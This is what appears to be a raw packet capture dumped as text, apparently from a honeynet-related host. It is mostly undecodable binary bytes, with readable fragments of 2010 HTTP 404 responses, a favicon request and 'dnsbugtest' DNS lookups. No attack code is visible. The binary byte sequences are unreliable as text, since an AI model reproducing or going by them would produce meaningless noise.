™[Pq0ڂE0+M_xU6~my)$$AC\&dFiЍTDB8N@ mk5M+F_<誰V ?ZTYP7d>^:͉4WHq0_ק5'3`?͵LY  )~PVΖE(ʾU,ɀP$6i(S3PHTTP/1.1 404 Not Found Date: Thu, 07 Oct 2010 11:58:05 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch proxy_html/3.0.1 mod_ssl/2.2.14 OpenSSL/0.9.8k Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 324 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 MPn0ۜCl TJ% CDSTȡ'&F56M}(R/+"JWHov)Ut/ovc52fyW;qGֺS7ct\cm ?Z?GmPٺ,JDuB,. ™[Pq0ڂE0+M_xU6~my)$$AC\&dFiЍTDB8N@ mk5M+F_<誰V ?ZTYP7d>^:͉4WHq0_ק5'3`?͵LY 66PVΖ )~E( @[FɀʾU,$P(S36 PL͵L/ ggPVΖ )~EY ɀ5Eǭ_100127 dnsbugtest100127in-addrarpa ͵L gg )~PVΖEY7gɀ5ED_100127 dnsbugtest100127in-addrarpa ϵLOPVΖ )~E @YɀʾU,"PPCGET /favicon.ico HTTP/1.1 Host: blog.honeynet.org.my User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive ϵL<< )~PVΖE(ʾU,ɀP"㜑P ϵL )~PVΖE;ʾU,ɀP"㜑PHTTP/1.1 404 Not Found Date: Thu, 07 Oct 2010 11:58:06 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch proxy_html/3.0.1 mod_ssl/2.2.14 OpenSSL/0.9.8k Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 303 Keep-Alive: timeout=15, max=95 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 MPMk@+^sjyO T9LdfI] ^ 3+]*O ݾ%DE$%Dh\Ltlȏ`,,U+KFhxb{Uv=/cM X^3:$:ka@:ұ'`Eep}5vPįMqB 1qom ] A;" ZYY+8-A@o} ʝ1]2ߐ > ܢ' ܢ'ɀʾU,"P㜑VP~ӵLa WWPVΖ )~EI ɀ55@12820116172in-addrarpa ӵL <<PVΖPVΖɀӵL **PVΖ )~ )~ɀPVΖӵLJ WW )~PVΖEI7sɀ55<12820116172in-addrarpa ܵL! << )~PVΖE(ʾU,ɀP$6 (S3PMܵL 66PVΖ )~E( @[9ɀʾU,$P(S36PL޵L%H<< )~PVΖE(ʾU,ɀP"V㜑Pu޵LYH66PVΖ )~E( @[8ɀʾU,"P㜑WP}